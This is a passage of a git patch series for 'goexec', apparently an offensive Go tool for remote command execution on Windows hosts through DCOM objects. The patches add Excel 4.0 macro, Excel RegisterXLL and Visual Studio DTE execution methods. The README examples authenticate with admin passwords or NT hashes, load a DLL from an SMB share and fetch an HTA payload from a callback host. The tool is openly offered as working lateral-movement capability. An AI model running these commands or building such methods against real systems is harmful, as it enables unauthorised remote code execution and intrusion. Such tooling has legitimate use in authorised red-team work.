nil, "Application.RegisterXLL", stringToVariant(m.XllLocation)) + if err != nil { + return fmt.Errorf("call RegisterXLL: %w", err) + } + log.Info().Msg("RegisterXLL call successful") + if stat, ok := qr.VarResult.VarUnion.GetValue().(bool); ok && stat { + log.Info().Bool("res", stat).Int32("return", qr.Return).Msg("XLL registered successfully") + } else { + log.Warn().Bool("res", stat).Int32("return", qr.Return).Msg("Execution may have failed") + } + return } From e0a9aa8d8f70caf5cb7f678cd203348ba78f06d5 Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Wed, 1 Oct 2025 05:02:43 -0500 Subject: [PATCH 22/34] fix unused EPM filter --- cmd/args.go | 1 + 1 file changed, 1 insertion(+) diff --git a/cmd/args.go b/cmd/args.go index 7a86248..c3b359a 100644 --- a/cmd/args.go +++ b/cmd/args.go @@ -136,6 +136,7 @@ func argsRpcClient(proto string, endpoint string) func(cmd *cobra.Command, args func(cmd *cobra.Command, args []string) (err error) { switch { case rpcClient.Endpoint != "": + case rpcClient.Filter != "": case endpoint == "": rpcClient.UseEpm = true default: From 57703bae154ac61d73b57a16cfe145a45ec0cc88 Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Wed, 1 Oct 2025 05:03:18 -0500 Subject: [PATCH 23/34] dispatch.go errors w/ more call context --- pkg/goexec/dcom/dispatch.go | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/pkg/goexec/dcom/dispatch.go b/pkg/goexec/dcom/dispatch.go index 1b5e9c2..524ca20 100644 --- a/pkg/goexec/dcom/dispatch.go +++ b/pkg/goexec/dcom/dispatch.go @@ -10,6 +10,7 @@ import ( "github.com/oiweiwei/go-msrpc/msrpc/dcom" "github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut" "github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut/idispatch/v0" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult" _ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus" _ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32" @@ -63,10 +64,10 @@ func (m *Dispatch) callComMethod(ctx context.Context, id *dcom.IPID, method stri Names: []string{obj}, }, opts...) if err != nil { - return nil, fmt.Errorf("get dispatch ID of name %q: %w", obj, err) + return nil, fmt.Errorf("call %q: get dispatch ID of name %q: %w", method, obj, err) } if len(gr.DispatchID) < 1 { - return nil, fmt.Errorf("dispatch ID of name %q not found", obj) + return nil, fmt.Errorf("call %q: dispatch ID of name %q not found", method, obj) } irq := &idispatch.InvokeRequest{ This: &dcom.ORPCThis{Version: m.comVersion}, @@ -82,11 +83,11 @@ func (m *Dispatch) callComMethod(ctx context.Context, id *dcom.IPID, method stri irq.Flags = 2 ir, err = m.dispatch.Invoke(ctx, irq, opts...) if err != nil { - return nil, fmt.Errorf("get properties of object %q: %w", obj, err) + return nil, fmt.Errorf("call %q: get properties of object %q: %w", method, obj, err) } di, ok := ir.VarResult.VarUnion.GetValue().(*oaut.Dispatch) if !ok { - return nil, fmt.Errorf("invalid dispatch object for %q", obj) + return nil, fmt.Errorf("call %q: invalid dispatch object for %q", method, obj) } id = di.InterfacePointer().GetStandardObjectReference().Std.IPID } From a6bcb62819efb3ed1dce8b4dc3e154219599fac6 Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Wed, 1 Oct 2025 05:04:17 -0500 Subject: [PATCH 24/34] docs: `dcom excel-macro` description,examples --- README.md | 52 ++++++++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 46 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index daa6c83..5176fff 100644 --- a/README.md +++ b/README.md @@ -31,7 +31,7 @@ cd goexec CGO_ENABLED=0 go build -ldflags="-s -w" # (Optional) Install goexec to /usr/local/bin/goexec -sudo install ./goexec /usr/local/bin +sudo install goexec /usr/local/bin ``` ### Install with Docker @@ -94,8 +94,8 @@ Authentication: ### Fetching Remote Process Output -Although not recommended for live engagements or monitored environments due to OPSEC concerns, we've included the optional ability to fetch program output via SMB file transfer with the `-o`/`--output` flag. -Use of this flag will wrap the supplied command in `cmd.exe /c ... > \Windows\Temp\RANDOM` where `RANDOM` is a random GUID, then fetch the output file via SMB file transfer. +Although not recommended for live engagements or monitored environments due to OPSEC concerns, we've included the optional ability to fetch program output via SMB file transfer with the `-o`/`--out` flag. +Use of this flag will wrap the supplied command in `cmd.exe /c... >\Windows\Temp\RANDOM` where `RANDOM` is a random GUID, then fetch the output file via SMB file transfer. By default, the output collection will time out after 1 minute, but this can be adjusted with the `--out-timeout` flag. @@ -193,11 +193,11 @@ goexec wmi call "$target" \ ### DCOM Module (`dcom`) -The `dcom` module uses exposed Distributed Component Object Model (DCOM) objects to spawn processes. +The `dcom` module uses exposed Distributed Component Object Model (DCOM) objects to gain remote execution. > [!WARNING] > The DCOM module is generally less reliable than other modules because the underlying methods are often reliant on the target Windows version and specific Windows settings. -> Kerberos auth is not officially supported by the DCOM module, but kudos if you can get it to work. +> Additionally, Kerberos auth is not officially supported by the DCOM module, but kudos if you can get it to work. ```text Usage: @@ -208,6 +208,9 @@ Available Commands: shellwindows Execute with the ShellWindows DCOM object shellbrowserwindow Execute with the ShellBrowserWindow DCOM object htafile Execute with the HTAFile DCOM object + excel-xlm Execute with the Excel.Application DCOM object by executing an Excel macro + excel-xll Execute with the Excel.Application DCOM object by registering an XLL add-in + vs-dte Execute with the VisualStudio.DTE object ... [inherited flags] ... @@ -381,11 +384,48 @@ goexec dcom htafile "$target" \ --url "http://callback.lan/payload.hta" ``` +#### `Excel.Application::ExecuteExcel4Macro` Method (`dcom excel-macro`) + +The `excel-macro` method uses the exposed `Excel.Application` DCOM object to call [`ExecuteExcel4Macro`](https://learn.microsoft.com/en-us/office/vba/api/excel.application.executeexcel4macro) with an arbitrary Excel 4.0 macro. +An Excel installation must be present on the remote host for this method to work. + +```text +Usage: + goexec dcom excel-macro [target] [flags] + +Execution: + -M, --macro string XLM macro + --macro-file file XLM macro file + -e, --exec executable Remote Windows executable to invoke + -a, --args string Process command line arguments + -c, --command string Windows process command line (executable & arguments) + -o, --out file Fetch execution output to file or "-" for standard output + -m, --out-method string Method to fetch execution output (default "smb") + --out-timeout duration Output timeout duration (default 1m0s) + --no-delete-out Preserve output file on remote filesystem + +... [inherited flags] ... +``` + +##### Examples + +```shell +# Execute `query session` + print output +goexec dcom excel-macro "$target" \ + --user "${auth_user}@${domain}" \ + --password "$auth_pass" \ + --command 'query session' -o- + +# Example of calling a Win32 API procedure via XLM +goexec dcom excel-macro "$target" \ + --user "${auth_user}@${domain}" \ + --password "$auth_pass" \ + -M 'CALL("user32","MessageBoxA","JJCCJ",1,"GoExec rules","",0)' +``` ### Task Scheduler Module (`tsch`) The `tsch` module makes use of the Windows Task Scheduler service ([MS-TSCH](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/)) to spawn processes on the remote target. - ```text Usage: goexec tsch [command] [flags] From 5d2b848449acf9d8489e0e7ccb056e3c02e700e0 Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Wed, 1 Oct 2025 05:18:27 -0500 Subject: [PATCH 25/34] docs: update `dcom excel-macro`; `dcom excel-xll` desc,examples --- README.md | 39 +++++++++++++++++++++++++++++++++++---- 1 file changed, 35 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 5176fff..0a16140 100644 --- a/README.md +++ b/README.md @@ -384,7 +384,7 @@ goexec dcom htafile "$target" \ --url "http://callback.lan/payload.hta" ``` -#### `Excel.Application::ExecuteExcel4Macro` Method (`dcom excel-macro`) +#### Excel `ExecuteExcel4Macro` Method (`dcom excel-macro`) The `excel-macro` method uses the exposed `Excel.Application` DCOM object to call [`ExecuteExcel4Macro`](https://learn.microsoft.com/en-us/office/vba/api/excel.application.executeexcel4macro) with an arbitrary Excel 4.0 macro. An Excel installation must be present on the remote host for this method to work. @@ -416,11 +416,42 @@ goexec dcom excel-macro "$target" \ --password "$auth_pass" \ --command 'query session' -o- -# Example of calling a Win32 API procedure via XLM +# Use admin NT hash to directly call a Win32 API procedure via XLM goexec dcom excel-macro "$target" \ --user "${auth_user}@${domain}" \ - --password "$auth_pass" \ - -M 'CALL("user32","MessageBoxA","JJCCJ",1,"GoExec rules","",0)' + --nt-hash "$auth_nt" \ + -M 'CALL("user32","MessageBoxA","JJCCJ",1,"GoExec rules","bryan was here",0)' +``` + +#### (Auxiliary) Excel `RegisterXLL` Method (`dcom excel-xll`) + +The excel-xll method uses the exposed Excel.Application DCOM object to call RegisterXLL, thus loading a XLL/DLL from the remote filesystem or an UNC path. +This method requires that the remote host has Microsoft Excel installed. + +```text +Usage: + goexec dcom excel-xll [target] [flags] + +Execution: + --xll path XLL/DLL local or UNC path + +... [inherited flags] ... +``` + +##### Examples + +```shell +# Use admin password to execute XLL/DLL from an uploaded file +goexec dcom excel-xll "$target" \ + --user "${auth_user}" \ + --nt-hash "$auth_nt" \ + --xll 'C:\Users\localuser\Desktop\note.txt' # an XLL PE file with a .txt extension + +# Use admin NT hash to execute XLL/DLL from an SMB share +goexec dcom excel-xll "$target" \ + --user "${auth_user}@${domain}" \ + --nt-hash "$auth_nt" \ + --xll '\\smbserver.lan\share\image.jpg' # an XLL PE file with a .jpg extension ``` ### Task Scheduler Module (`tsch`) From 6e6f32fc2be142b92b0a5836fc6d3d9452f73787 Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Wed, 1 Oct 2025 05:35:38 -0500 Subject: [PATCH 26/34] `dcom vs-dte`: +VS 2019 support (`--vs-2019`) --- cmd/dcom.go | 9 +++++++-- pkg/goexec/dcom/visualstudio.go | 10 ++++++++-- 2 files changed, 15 insertions(+), 4 deletions(-) diff --git a/cmd/dcom.go b/cmd/dcom.go index 8bfb6fc..4a2f1d8 100644 --- a/cmd/dcom.go +++ b/cmd/dcom.go @@ -140,18 +140,23 @@ func dcomExcelMacroCmdInit() { } func dcomVsDteCmdInit() { + dcomVsDteVsFlags := newFlagSet("Visual Studio") + dcomVsDteVsFlags.Flags.StringVar(&dcomVisualStudioDte.CommandName, "vs-command", "", "Visual Studio DTE command to execute") + dcomVsDteVsFlags.Flags.StringVar(&dcomVisualStudioDte.CommandArgs, "vs-args", "", "Visual Studio DTE command arguments") + dcomVsDteVsFlags.Flags.BoolVar(&dcomVisualStudioDte.Is2019, "vs-2019", false, "Target Visual Studio 2019") + dcomVsDteExecFlags := newFlagSet("Execution") - dcomVsDteExecFlags.Flags.StringVar(&dcomVisualStudioDte.CommandName, "vs-command", "", "Visual Studio DTE command to execute") - dcomVsDteExecFlags.Flags.StringVar(&dcomVisualStudioDte.CommandArgs, "vs-args", "", "Visual Studio DTE command arguments") registerExecutionFlags(dcomVsDteExecFlags.Flags) registerExecutionOutputFlags(dcomVsDteExecFlags.Flags) cmdFlags[dcomVsDteCmd] = []*flagSet{ + dcomVsDteVsFlags, dcomVsDteExecFlags, defaultAuthFlags, defaultLogFlags, defaultNetRpcFlags, } + dcomVsDteCmd.Flags().AddFlagSet(dcomVsDteVsFlags.Flags) dcomVsDteCmd.Flags().AddFlagSet(dcomVsDteExecFlags.Flags) // Constraints diff --git a/pkg/goexec/dcom/visualstudio.go b/pkg/goexec/dcom/visualstudio.go index 9033867..1e09c73 100644 --- a/pkg/goexec/dcom/visualstudio.go +++ b/pkg/goexec/dcom/visualstudio.go @@ -18,12 +18,15 @@ import ( ) const ( - MethodVisualStudioDTE = "VisualStudio.DTE:ExecuteCommand" - VisualStudioDteUuid = "33ABD590-0400-4FEF-AF98-5F5A8A99CFC3" + MethodVisualStudioDTE = "VisualStudio.DTE:ExecuteCommand" + VisualStudioDteUuid = "33ABD590-0400-4FEF-AF98-5F5A8A99CFC3" + VisualStudioDte2019Uuid = "2E1517DA-87BF-4443-984A-D2BF18F5A908" ) type DcomVisualStudioDte struct { Dispatch + // Is2019 indicates that the installation is Visual Studio 2019 + Is2019 bool // CommandName is the name of the DTE command to invoke CommandName string // CommandArgs are the arguments to pass to the command @@ -32,6 +35,9 @@ type DcomVisualStudioDte struct { func (m *DcomVisualStudioDte) Init(ctx context.Context) (err error) { if err = m.Dcom.Init(ctx); err == nil { + if m.Is2019 { + return m.getDispatch(ctx, uuid.MustParse(VisualStudioDte2019Uuid)) + } return m.getDispatch(ctx, uuid.MustParse(VisualStudioDteUuid)) } return From 343adc69315f803eef4d4268a91e4d86c3f4f046 Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Wed, 1 Oct 2025 05:45:53 -0500 Subject: [PATCH 27/34] docs: `dcom vs-dte` +desc,examples --- README.md | 44 +++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 43 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 0a16140..d33e0a3 100644 --- a/README.md +++ b/README.md @@ -423,9 +423,51 @@ goexec dcom excel-macro "$target" \ -M 'CALL("user32","MessageBoxA","JJCCJ",1,"GoExec rules","bryan was here",0)' ``` +#### Visual Studio `ExecuteCommand` Method (`dcom vs-dte`) + +The `vs-dte` method uses the exposed `VisualStudio.DTE` object to spawn a process via the `ExecuteCommand` method. +This method requires that the remote host has Microsoft Visual Studio installed. + +```text +Usage: + goexec dcom vs-dte [target] [flags] + +Visual Studio: + --vs-command string Visual Studio DTE command to execute + --vs-args string Visual Studio DTE command arguments + --vs-2019 Target Visual Studio 2019 + +Execution: + -e, --exec executable Remote Windows executable to invoke + -a, --args string Process command line arguments + -c, --command string Windows process command line (executable & arguments) + -o, --out file Fetch execution output to file or "-" for standard output + -m, --out-method string Method to fetch execution output (default "smb") + --out-timeout duration Output timeout duration (default 1m0s) + --no-delete-out Preserve output file on remote filesystem +``` + +##### Examples + +```shell +# Execute `sc query` (batch) + save output to services.txt +goexec dcom vs-dte "$target" \ + --user "${auth_user}@${domain}" \ + --password "$auth_pass" \ + --command 'sc query' -o services.txt + +# Execute `cmd.exe /c set` with output, target Visual Studio 2019 +goexec dcom vs-dte "$target" \ + --user "${auth_user}@${domain}" \ + --password "$auth_pass" \ + --vs-2019 \ + --exec 'cmd.exe' \ + --args '/c set' -o- +``` + #### (Auxiliary) Excel `RegisterXLL` Method (`dcom excel-xll`) -The excel-xll method uses the exposed Excel.Application DCOM object to call RegisterXLL, thus loading a XLL/DLL from the remote filesystem or an UNC path. +The `excel-xll` method uses the exposed Excel.Application DCOM object to call RegisterXLL, thus loading a XLL/DLL from the remote filesystem or an UNC path. This method requires that the remote host has Microsoft Excel installed. ```text From aaa75dccec38771775e61993358e3cf5555fd313 Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Wed, 1 Oct 2025 05:51:10 -0500 Subject: [PATCH 28/34] excel.go: fix linter error --- pkg/goexec/dcom/excel.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkg/goexec/dcom/excel.go b/pkg/goexec/dcom/excel.go index 87be173..bf1e36b 100644 --- a/pkg/goexec/dcom/excel.go +++ b/pkg/goexec/dcom/excel.go @@ -72,7 +72,7 @@ func (m *DcomExcel) quit(ctx context.Context) (err error) { func (m *DcomExcelMacro) Execute(ctx context.Context, execIO *goexec.ExecutionIO) (err error) { log := zerolog.Ctx(ctx) - if m.Macros == nil || len(m.Macros) == 0 { + if len(m.Macros) == 0 { m.Macros = []string{fmt.Sprintf(`EXEC("%s")`, strings.ReplaceAll(execIO.String(), `"`, `""`))} } if !m.NoTerminate { // Terminate EXCEL.EXE via ExecuteExcel4Macro("QUIT()") From 8b52e39c5766241988ec70ff5979ea80b2d276a5 Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Wed, 1 Oct 2025 09:14:35 -0500 Subject: [PATCH 29/34] doc: update `dcom excel-xll` examples --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index d33e0a3..146e72b 100644 --- a/README.md +++ b/README.md @@ -208,7 +208,7 @@ Available Commands: shellwindows Execute with the ShellWindows DCOM object shellbrowserwindow Execute with the ShellBrowserWindow DCOM object htafile Execute with the HTAFile DCOM object - excel-xlm Execute with the Excel.Application DCOM object by executing an Excel macro + excel-macro Execute with the Excel.Application DCOM object by executing an Excel macro excel-xll Execute with the Excel.Application DCOM object by registering an XLL add-in vs-dte Execute with the VisualStudio.DTE object @@ -487,13 +487,13 @@ Execution: goexec dcom excel-xll "$target" \ --user "${auth_user}" \ --nt-hash "$auth_nt" \ - --xll 'C:\Users\localuser\Desktop\note.txt' # an XLL PE file with a .txt extension + --xll 'C:\Users\localuser\Desktop\file.xll' # Use admin NT hash to execute XLL/DLL from an SMB share goexec dcom excel-xll "$target" \ --user "${auth_user}@${domain}" \ --nt-hash "$auth_nt" \ - --xll '\\smbserver.lan\share\image.jpg' # an XLL PE file with a .jpg extension + --xll '\\smbserver.lan\share\addin.xll' ``` ### Task Scheduler Module (`tsch`) From ef8d9764bf7b6ae60b630a64d5cf368cc2d2dc08 Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Wed, 1 Oct 2025 13:00:11 -0500 Subject: [PATCH 30/34] break:`dcom`: make `excel-*` into subcmd: `excel` --- cmd/dcom.go | 39 +++++++++++++++++++++++++++++---------- 1 file changed, 29 insertions(+), 10 deletions(-) diff --git a/cmd/dcom.go b/cmd/dcom.go index 4a2f1d8..56bfc2e 100644 --- a/cmd/dcom.go +++ b/cmd/dcom.go @@ -23,8 +23,7 @@ func dcomCmdInit() { dcomShellWindowsCmdInit() dcomShellBrowserWindowCmdInit() dcomHtafileCmdInit() - dcomExcelMacroCmdInit() - dcomExcelXllCmdInit() + dcomExcelCmdInit() dcomVsDteCmdInit() dcomCmd.PersistentFlags().AddFlagSet(defaultAuthFlags.Flags) @@ -35,8 +34,7 @@ func dcomCmdInit() { dcomShellWindowsCmd, dcomShellBrowserWindowCmd, dcomHtafileCmd, - dcomExcelMacroCmd, - dcomExcelXllCmd, + dcomExcelCmd, dcomVsDteCmd, ) } @@ -165,6 +163,20 @@ func dcomVsDteCmdInit() { dcomVsDteCmd.MarkFlagsMutuallyExclusive("vs-command", "out") } +func dcomExcelCmdInit() { + dcomExcelCmd.PersistentFlags().AddFlagSet(defaultAuthFlags.Flags) + dcomExcelCmd.PersistentFlags().AddFlagSet(defaultLogFlags.Flags) + dcomExcelCmd.PersistentFlags().AddFlagSet(defaultNetRpcFlags.Flags) + cmdFlags[dcomExcelCmd] = []*flagSet{ + defaultAuthFlags, + defaultLogFlags, + defaultNetRpcFlags, + } + dcomExcelMacroCmdInit() + dcomExcelXllCmdInit() + dcomExcelCmd.AddCommand(dcomExcelMacroCmd, dcomExcelXllCmd) +} + func dcomExcelXllCmdInit() { dcomExcelXllExecFlags := newFlagSet("Execution") dcomExcelXllExecFlags.Flags.StringVar(&dcomExcelXll.XllLocation, "xll", "", "XLL/DLL local or UNC `path`") @@ -201,6 +213,13 @@ var ( Args: cobra.ArbitraryArgs, } + dcomExcelCmd = &cobra.Command{ + Use: "excel [method]", + Short: "Execute with the Excel.Application DCOM object", + Long: `Description: + The excel command uses the exposed Excel.Application DCOM object to gain remote execution using the specified method.`, + } + dcomMmcCmd = &cobra.Command{ Use: "mmc [target]", Short: "Execute with the MMC20.Application DCOM object", @@ -289,10 +308,10 @@ var ( } dcomExcelMacroCmd = &cobra.Command{ - Use: "excel-macro [target]", - Short: "Execute with the Excel.Application DCOM object by executing an Excel macro", + Use: "macro [target]", + Short: "Execute using Excel 4.0 macros (XLM)", Long: `Description: - The excel-macro method uses the exposed Excel.Application DCOM object to call ExecuteExcel4Macro, thus executing + The macro method uses the exposed Excel.Application DCOM object to call ExecuteExcel4Macro, thus executing XLM macros at will. This method requires that the remote host has Microsoft Excel installed.`, Args: args(argsRpcClient("host", ""), argsOutput("smb"), func(*cobra.Command, []string) error { @@ -323,10 +342,10 @@ var ( } dcomExcelXllCmd = &cobra.Command{ - Use: "excel-xll [target]", - Short: "Execute with the Excel.Application DCOM object by registering an XLL add-in", + Use: "xll [target]", + Short: "Execute by Loading an XLL add-in", Long: `Description: - The excel-xll method uses the exposed Excel.Application DCOM object to call RegisterXLL, thus loading a XLL/DLL. + The xll method uses the exposed Excel.Application DCOM object to call RegisterXLL, thus loading a XLL/DLL. The XLL location (--xll) can be a path on the remote filesystem or an UNC path. This method requires that the remote host has Microsoft Excel installed.`, Args: args(argsRpcClient("host", "")), From 03e48e30478421b0380b87c85537d84dab05d419 Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Wed, 1 Oct 2025 13:07:38 -0500 Subject: [PATCH 31/34] docs:`dcom`: `excel-*`-> subcmd: `excel` --- README.md | 92 ++++++++++++++++++++++++++++++++----------------------- 1 file changed, 53 insertions(+), 39 deletions(-) diff --git a/README.md b/README.md index 146e72b..e8e7544 100644 --- a/README.md +++ b/README.md @@ -208,8 +208,6 @@ Available Commands: shellwindows Execute with the ShellWindows DCOM object shellbrowserwindow Execute with the ShellBrowserWindow DCOM object htafile Execute with the HTAFile DCOM object - excel-macro Execute with the Excel.Application DCOM object by executing an Excel macro - excel-xll Execute with the Excel.Application DCOM object by registering an XLL add-in vs-dte Execute with the VisualStudio.DTE object ... [inherited flags] ... @@ -384,18 +382,21 @@ goexec dcom htafile "$target" \ --url "http://callback.lan/payload.hta" ``` -#### Excel `ExecuteExcel4Macro` Method (`dcom excel-macro`) +#### Visual Studio `ExecuteCommand` Method (`dcom vs-dte`) -The `excel-macro` method uses the exposed `Excel.Application` DCOM object to call [`ExecuteExcel4Macro`](https://learn.microsoft.com/en-us/office/vba/api/excel.application.executeexcel4macro) with an arbitrary Excel 4.0 macro. -An Excel installation must be present on the remote host for this method to work. +The `vs-dte` method uses the exposed `VisualStudio.DTE` object to spawn a process via the `ExecuteCommand` method. +This method requires that the remote host has Microsoft Visual Studio installed. ```text Usage: - goexec dcom excel-macro [target] [flags] + goexec dcom vs-dte [target] [flags] + +Visual Studio: + --vs-command string Visual Studio DTE command to execute + --vs-args string Visual Studio DTE command arguments + --vs-2019 Target Visual Studio 2019 Execution: - -M, --macro string XLM macro - --macro-file file XLM macro file -e, --exec executable Remote Windows executable to invoke -a, --args string Process command line arguments -c, --command string Windows process command line (executable & arguments) @@ -403,41 +404,54 @@ Execution: -m, --out-method string Method to fetch execution output (default "smb") --out-timeout duration Output timeout duration (default 1m0s) --no-delete-out Preserve output file on remote filesystem - -... [inherited flags] ... ``` ##### Examples ```shell -# Execute `query session` + print output -goexec dcom excel-macro "$target" \ +# Execute `sc query` (batch) + save output to services.txt +goexec dcom vs-dte "$target" \ --user "${auth_user}@${domain}" \ --password "$auth_pass" \ - --command 'query session' -o- + --command 'sc query' -o services.txt -# Use admin NT hash to directly call a Win32 API procedure via XLM -goexec dcom excel-macro "$target" \ +# Execute `cmd.exe /c set` with output, target Visual Studio 2019 +goexec dcom vs-dte "$target" \ --user "${auth_user}@${domain}" \ - --nt-hash "$auth_nt" \ - -M 'CALL("user32","MessageBoxA","JJCCJ",1,"GoExec rules","bryan was here",0)' + --password "$auth_pass" \ + --vs-2019 \ + --exec 'cmd.exe' \ + --args '/c set' -o- ``` -#### Visual Studio `ExecuteCommand` Method (`dcom vs-dte`) +#### Excel Methods (`dcom excel`) -The `vs-dte` method uses the exposed `VisualStudio.DTE` object to spawn a process via the `ExecuteCommand` method. -This method requires that the remote host has Microsoft Visual Studio installed. +The `dcom excel` command group contains remote execution methods targeting Microsoft Excel. +Each of these methods assume that the remote host has Excel installed. ```text Usage: - goexec dcom vs-dte [target] [flags] + goexec dcom excel [command] [flags] -Visual Studio: - --vs-command string Visual Studio DTE command to execute - --vs-args string Visual Studio DTE command arguments - --vs-2019 Target Visual Studio 2019 +Available Commands: + macro Execute using Excel 4.0 macros (XLM) + xll Execute by Loading an XLL add-in + +... [inherited flags] ... +``` + +#### Excel `ExecuteExcel4Macro` Method (`dcom excel macro`) + +The `excel macro` method uses the exposed `Excel.Application` DCOM object to call [`ExecuteExcel4Macro`](https://learn.microsoft.com/en-us/office/vba/api/excel.application.executeexcel4macro) with an arbitrary Excel 4.0 macro. +An Excel installation must be present on the remote host for this method to work. + +```text +Usage: + goexec dcom excel macro [target] [flags] Execution: + -M, --macro string XLM macro + --macro-file file XLM macro file -e, --exec executable Remote Windows executable to invoke -a, --args string Process command line arguments -c, --command string Windows process command line (executable & arguments) @@ -445,34 +459,34 @@ Execution: -m, --out-method string Method to fetch execution output (default "smb") --out-timeout duration Output timeout duration (default 1m0s) --no-delete-out Preserve output file on remote filesystem + +... [inherited flags] ... ``` ##### Examples ```shell -# Execute `sc query` (batch) + save output to services.txt -goexec dcom vs-dte "$target" \ +# Execute `query session` + print output +goexec dcom excel macro "$target" \ --user "${auth_user}@${domain}" \ --password "$auth_pass" \ - --command 'sc query' -o services.txt + --command 'query session' -o- -# Execute `cmd.exe /c set` with output, target Visual Studio 2019 -goexec dcom vs-dte "$target" \ +# Use admin NT hash to directly call a Win32 API procedure via XLM +goexec dcom excel macro "$target" \ --user "${auth_user}@${domain}" \ - --password "$auth_pass" \ - --vs-2019 \ - --exec 'cmd.exe' \ - --args '/c set' -o- + --nt-hash "$auth_nt" \ + -M 'CALL("user32","MessageBoxA","JJCCJ",1,"GoExec rules","bryan was here",0)' ``` -#### (Auxiliary) Excel `RegisterXLL` Method (`dcom excel-xll`) +#### (Auxiliary) Excel `RegisterXLL` Method (`dcom excel xll`) -The `excel-xll` method uses the exposed Excel.Application DCOM object to call RegisterXLL, thus loading a XLL/DLL from the remote filesystem or an UNC path. +The `xll` method uses the exposed Excel.Application DCOM object to call RegisterXLL, thus loading a XLL/DLL from the remote filesystem or an UNC path. This method requires that the remote host has Microsoft Excel installed. ```text Usage: - goexec dcom excel-xll [target] [flags] + goexec dcom excel xll [target] [flags] Execution: --xll path XLL/DLL local or UNC path @@ -484,13 +498,13 @@ Execution: ```shell # Use admin password to execute XLL/DLL from an uploaded file -goexec dcom excel-xll "$target" \ +goexec dcom excel xll "$target" \ --user "${auth_user}" \ --nt-hash "$auth_nt" \ --xll 'C:\Users\localuser\Desktop\file.xll' # Use admin NT hash to execute XLL/DLL from an SMB share -goexec dcom excel-xll "$target" \ +goexec dcom excel xll "$target" \ --user "${auth_user}@${domain}" \ --nt-hash "$auth_nt" \ --xll '\\smbserver.lan\share\addin.xll' From 532e3b4df6f2ad36ef961f1039b6b3b5366f65b9 Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Wed, 1 Oct 2025 13:28:07 -0500 Subject: [PATCH 32/34] break: `vs-dte`->`visualstudio dte` --- cmd/dcom.go | 90 +++++++++++++++++++++++++++++++---------------------- 1 file changed, 52 insertions(+), 38 deletions(-) diff --git a/cmd/dcom.go b/cmd/dcom.go index 56bfc2e..79fbd67 100644 --- a/cmd/dcom.go +++ b/cmd/dcom.go @@ -24,7 +24,7 @@ func dcomCmdInit() { dcomShellBrowserWindowCmdInit() dcomHtafileCmdInit() dcomExcelCmdInit() - dcomVsDteCmdInit() + dcomVisualStudioCmdInit() dcomCmd.PersistentFlags().AddFlagSet(defaultAuthFlags.Flags) dcomCmd.PersistentFlags().AddFlagSet(defaultLogFlags.Flags) @@ -35,10 +35,31 @@ func dcomCmdInit() { dcomShellBrowserWindowCmd, dcomHtafileCmd, dcomExcelCmd, - dcomVsDteCmd, + dcomVisualStudioCmd, ) } +func dcomExcelCmdInit() { + cmdFlags[dcomExcelCmd] = []*flagSet{ + defaultAuthFlags, + defaultLogFlags, + defaultNetRpcFlags, + } + dcomExcelMacroCmdInit() + dcomExcelXllCmdInit() + dcomExcelCmd.AddCommand(dcomExcelMacroCmd, dcomExcelXllCmd) +} + +func dcomVisualStudioCmdInit() { + cmdFlags[dcomVisualStudioCmd] = []*flagSet{ + defaultAuthFlags, + defaultLogFlags, + defaultNetRpcFlags, + } + dcomVisualStudioDteCmdInit() + dcomVisualStudioCmd.AddCommand(dcomVisualStudioDteCmd) +} + func dcomMmcCmdInit() { dcomMmcExecFlags := newFlagSet("Execution") registerExecutionFlags(dcomMmcExecFlags.Flags) @@ -137,44 +158,30 @@ func dcomExcelMacroCmdInit() { dcomExcelMacroCmd.MarkFlagsMutuallyExclusive("macro", "macro-file", "out") } -func dcomVsDteCmdInit() { - dcomVsDteVsFlags := newFlagSet("Visual Studio") - dcomVsDteVsFlags.Flags.StringVar(&dcomVisualStudioDte.CommandName, "vs-command", "", "Visual Studio DTE command to execute") - dcomVsDteVsFlags.Flags.StringVar(&dcomVisualStudioDte.CommandArgs, "vs-args", "", "Visual Studio DTE command arguments") - dcomVsDteVsFlags.Flags.BoolVar(&dcomVisualStudioDte.Is2019, "vs-2019", false, "Target Visual Studio 2019") +func dcomVisualStudioDteCmdInit() { + dcomVisualStudioDteVsFlags := newFlagSet("Visual Studio") + dcomVisualStudioDteVsFlags.Flags.BoolVar(&dcomVisualStudioDte.Is2019, "vs-2019", false, "Target Visual Studio 2019") + dcomVisualStudioDteVsFlags.Flags.StringVar(&dcomVisualStudioDte.CommandName, "vs-command", "", "Visual Studio DTE command to execute") + dcomVisualStudioDteVsFlags.Flags.StringVar(&dcomVisualStudioDte.CommandArgs, "vs-args", "", "Visual Studio DTE command arguments") - dcomVsDteExecFlags := newFlagSet("Execution") - registerExecutionFlags(dcomVsDteExecFlags.Flags) - registerExecutionOutputFlags(dcomVsDteExecFlags.Flags) + dcomVisualStudioDteExecFlags := newFlagSet("Execution") + registerExecutionFlags(dcomVisualStudioDteExecFlags.Flags) + registerExecutionOutputFlags(dcomVisualStudioDteExecFlags.Flags) - cmdFlags[dcomVsDteCmd] = []*flagSet{ - dcomVsDteVsFlags, - dcomVsDteExecFlags, + cmdFlags[dcomVisualStudioDteCmd] = []*flagSet{ + dcomVisualStudioDteVsFlags, + dcomVisualStudioDteExecFlags, defaultAuthFlags, defaultLogFlags, 